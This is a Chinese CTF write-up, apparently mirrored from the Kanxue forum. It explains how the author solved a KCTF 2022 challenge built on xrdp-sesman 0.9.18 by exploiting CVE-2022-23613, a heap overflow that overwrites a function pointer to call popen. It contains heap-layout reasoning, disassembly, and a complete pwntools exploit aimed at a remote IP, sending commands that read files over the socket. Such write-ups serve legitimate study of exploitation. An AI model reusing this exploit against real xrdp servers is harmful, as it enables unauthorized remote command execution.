[原创] 看雪 2022 KCTF 秋季赛 第七题 广厦万间,PWN XRDP!
2022-12-1 15:49:56 Author: bbs.pediy.com(查看原文) 阅读量:12 收藏

熬夜一天+通宵一天,终于解出来了,激动的心,颤抖的手

环境搭建

拿到附件,常规操作 file 一下,发现居然是一个带符号、带调试信息的 ELF

1

attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6a52a0533f20440fa6f9c65fdf61fa51deddc018, for GNU/Linux 3.2.0, with debug_info, not stripped

在 22.04 中,直接执行会报错:

1

./attachment: error while loading shared libraries: libcommon.so.0: cannot open shared object file: No such file or directory

按照作者的文档,apt 安装好依赖,再执行依然报错。谷歌一下这个报错,再结合 IDA 看到的 print_versiong_writeln("xrdp-sesman %s", "0.9.18");,不难发现附件是 xrdp 中的 xrdp-sesman。

为了尽可能接近远程环境,我选择 clone xrdp 仓库,本地编译并 make install,然后用附件替换掉 /usr/local/sbin/xrdp-sesman。编译时确实遇到了 openssl 相关的错误,在网上找到的解决方案:

1

2

3

4

5

6

7

8

9

wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/openssl_1.1.1f-1ubuntu2.16_amd64.deb

wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb

wget http://security.ubuntu.com/ubuntu/pool/main/o/openssl/libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb

sudo dpkg -i libssl1.1_1.1.1f-1ubuntu2.16_amd64.deb

sudo dpkg -i libssl-dev_1.1.1f-1ubuntu2.16_amd64.deb

sudo dpkg -i openssl_1.1.1f-1ubuntu2.16_amd64.deb

利用分析

0.9.18 的 xrdp-sesman 有 CVE-2022-23613,实际上一搜跳出来的就是出题人曾经的分析文章,通读下来可以知道,利用方式主要是堆溢出覆盖函数指针。文章使用本地提权的方式,先在本地写好要执行的文件,使用堆喷布置参数,利用 plt 中的 g_execvpg_execlp3 执行命令。

由于出题人已经介绍过 xrdp 源码、重要结构体,下文不再提及这些内容

简单尝试一下会发现,服务非常容易打挂,并且平台容器没有重启机制,甚至还有频率限制——于是会出现:开容器,十秒打挂,等一分钟后销毁容器,等一分钟后再开新容器。基于这些考虑,不得不放弃堆喷,转而寻找更稳定高效的利用。

首先肯定是需要一个能覆盖函数指针的方法。经过简单地风水(我是新建连接 0、1,关闭连接 0、1,新建连接 2 作为后续使用),可以找到一个 trans 结构体,其 self->in_s->end 地址低于结构体本身,也就是产生的溢出可以覆盖结构体本身。(我认为覆盖自身的情况只需要一个连接,会更稳定)

接下来开始物色覆盖指针的目标。在翻阅 plt 的时候,发现除了出题人介绍过的两个 exec 家族的封装,还有一个 popen 是高价值目标。它需要给定两个字符串参数(popen("cmd", "r")),于是开始查看每个函数指针的使用情况,主要是以下三种:

1

2

3

self->trans_can_recv(self, self->sck, 0);

self->trans_recv(self, self->in_s->end, to_read);

self->trans_data_in(self);

self->sck 是结构体的第一个参数。也就是说,对于 trans_can_recv,有 *self == self->sck 的情况,显然不能满足传递两个字符串。

对于 trans_recv,可以放心地布置第一个参数为字符串。但 self->in_s->end 正常是指向要写入的位置,内容不太可控。在 trans_data_in 下面有一个 init_stream 可以把指针重置到开头,但重置之后需要等到下次轮询,才能回到使用其他函数指针的位置,每次轮询开始之前,会对 sck 进行 select 无法顺利通过。也就是说,如果想控制 trans_recv 的第二个参数,就无法控制第一个。

最后的希望是 trans_data_in。虽然它只有一个参数(而且是可控的),但是寄存器里有其他的值。调试一下会发现,此时第二个参数 RSI 指向的是 self->in_s->data 的位置(或者它的附近),也是可控的!
如果想要调用到 trans_data_in,还有一个前置条件,read_so_far == self->header_size,这个计算一下数据长度,不难实现。

于是我们可以开始布置溢出参数,这个时候会发现,trans_data_in 指针十分靠前,在结构体的偏移是 0x18 —— 这意味着第一个参数的字符串最多只能长 24。作为对比,第二个参数只需要简简单单一个 "r",却有上千字节的空间。

我一度以为在不出网环境下,24 字节无法完成利用(先 kill server,然后用 Python 监听 3350 端口,做一个 Bind Shell)。此时尚是第二天夜晚,题目还是零解的情况,错过这个机会有点可惜。

后来我又去寻觅了一个任意长度的命令执行,但是只有在 gdb 下断点的时候才能实现。总之,在调试长命令的时候,我才注意到,子进程继承了 socket 连接,可以直接向 7 号 fd 输出,回头看 popen 才发现也可以,于是最后 ls -al >&7cat flag >&7 两条命令解决(当然还只是本地)。贴 exp:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

from pwn import *

elf = ELF('./attachment')

context.log_level = 'debug'

context.arch = 'amd64'

HOST = "0.0.0.0"

PORT = 3350

if len(sys.argv) > 1:

    HOST = '221.228.109.254'

    PORT = int(sys.argv[1])

r2 = remote(HOST, PORT)

r3 = remote(HOST, PORT)

sleep(1)

r2.close()

r3.close()

sleep(1)

r = remote(HOST, PORT)

payload = flat(

    (b'r'+b'\x00'*7)*1183,

    b'echo xx >&7; cat f* >&7'.ljust(24, b'\x00'), 

    elf.plt.popen, 

    0

    0

    b'SIZESIZE'

    0x410478

    0

)

r.send(p32(0) + p32(0x80000001, endian='big'))

payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10))

r.send(payload)

r.interactive()

其中 in_s 的覆盖不是必要的,去掉的话 header size 要做相应调整。这里覆盖的原因是,这个 exp 是从下面没走通的路改出来的(

出题人在群里提到远程奇奇怪怪的问题,其实我找到的任意长度的执行也是因为这个无法实现。因为挺有意思(实际上也复杂得多),我也介绍一下这个利用。

一条走不通的路

我准备把指针换成 session_start_fork 里的 gadget 片段:

1

2

3

4

5

6

7

8

9

10

.text:000000000040955D                 lea     rax, aReconnectwmSh+0Ch ; "sh"

.text:0000000000409564                 lea     rsi, [rsp+0B68h+params] ; argv

.text:000000000040956C                 mov     [rsp+0B68h+params+18h], 0

.text:0000000000409578                 mov     [rsp+0B68h+params], rax

.text:0000000000409580                 lea     rax, aC         ; "-c"

.text:0000000000409587                 lea     rdi, file       ; "/bin/sh"

.text:000000000040958E                 mov     [rsp+0B68h+params+8], rax

.text:0000000000409596                 mov     rax, [rbx+68h]

.text:000000000040959A                 mov     [rsp+0B68h+params+10h], rax

.text:00000000004095A2                 call    _g_execvp

如果用 trans 的任意函数指针跳到这里,只有 RBX 会被使用,RBX 即 trans 结构体的地址。这段 gadget 从 trans->addr 取了一个指针,作为 sh -c 的命令执行。也就是说,如果我们在内存中写入一条命令,并且知道命令的地址,就可以实现任意长度的代码执行了。

那么往哪里写呢?基本上写内存就 trans_recv 一条路。如果我们提前覆盖 self->in_s,让其 end 本身在 rw 段,其指向也在 rw 段(因为写完内存会有 self->in_s->end += read_bytes;,修改指针)。

唯一已知的 rw 段是:0x410000 - 0x411000,这个段里主要是 GOT 表和全局变量,并没有指向段内的指针。

如果是堆,需要泄露地址。修改 trans->wait_s 为几个全局变量(存的是堆指针),可以在 trans_send_waiting 中向 socket 泄漏很多内存,但是泄露之后有一个 free 的检查无法通过。

于是我还是回到了 0x410000 的考虑,这里有的指针还是比较接近段内的。比如 0x4100000x40fde0,一大堆没有解析的 GOT 表基本指向 0x403...
我希望使用 self->in_s->end += read_bytes; 来调整指针,举例来说,如果把 0x410000 的值增大一点点,它就落在了 rw 段内。我需要前面那个能覆盖自身的 trans,覆盖 self->in_s0x410000-8,这样 self->in_s->end 就对上了 0x410000。如果我写入的长度 read_bytes 落在 0x220 ~ 0x1220 之间,那么我就有了一个确定地址的、可写的指针。当然,这个 trans 还需要能覆盖之后一个 transin_s,使其数据写在这个确定地址上。

坏消息是,in_s->data 本身有 0x2000 的空间,如果要产生溢出,数据的长度是远远大于 0x1220 的。因此目光就转向了改 GOT 上。把 0x403000 改到 0x410000,需要 0xd000 ~ 0xe000 的长度。并且我们还得控制:对于被覆盖的第二个 trans,只能覆盖到它的 in_s,不能破坏 trans_recv 指针——不然没得读了(trans_recv 是 libcommon 里的函数。程序本身的 plt 里面似乎没有可以替代它的)。于是一通风水,最后终于实现了在 gdb 打断点情况下的任意长度执行。

那为什么不打断点就不行呢?我切换了打断点的思路,把条件断点打在 trans_recv 之后,条件是 read_bytes > 8,8 是 header 的长度。这时,我发现 trans_recv 根本没有收齐我的 0xd000。那么原因也呼之欲出了,打了断点时,大量的数据有时间慢慢进入缓冲区,然后一次读出;不打断点,就会变成读多少是多少。此外,一旦溢出开始覆盖结构体自身,in_strans_recv 等都会变化,没有第二次续传的机会。我本来还想试试用 g_sleep,后来也作罢了。

如果抓包会发现,虽然理论上 TCP 支持将近 0x10000 的长度,这些数据还是会被分到多个 TCP 报文中。也许使用 raw socket 可以解决这个问题?其实我曾经在 IOT pwn 上遇到类似的情况,当时捣鼓过一番,最后的选择是——重新堆风水,让溢出的数据包别那么大。现在这个数据的长度是定死的,就不是风水的问题了。
出题人提到的问题“本机docker打通后,docker导出镜像,放远程直接导入镜像,打不通”,多半也是因为 TCP 分片的原因。

最后的 EXP 微调

前面提到,我解决了 popen 的本地利用问题(gdb 不用下断点也可以!),远程还没通。这个数据包的长度大约 0x2500,对于 TCP 来说还是比较大的。鉴于前面的绝大多数字节都是在为溢出做准备,他们实际上可以分开来发送,只需要最后几百字节是一次性溢出的即可。

把之前 exp 发送 payload 的几行稍微改一下,拆成两段发送,最后就成了

1

2

3

4

sep = 0x1a00

payload = payload.replace(b'SIZESIZE', p64(len(payload) - 0x10 - sep))

r.send(p32(0) + p32(0x80000001, endian='big') + payload[:sep])

r.send(payload[sep:])

FLAG:KCTF{ee43d769-ac1d-4f2e-82b3-9167ff484c8e}

[2022冬季班]《安卓高级研修班(网课)》月薪两万班招生中~

最后于 21小时前 被tkmk编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-275375.htm
如有侵权请联系:admin#unsafe.sh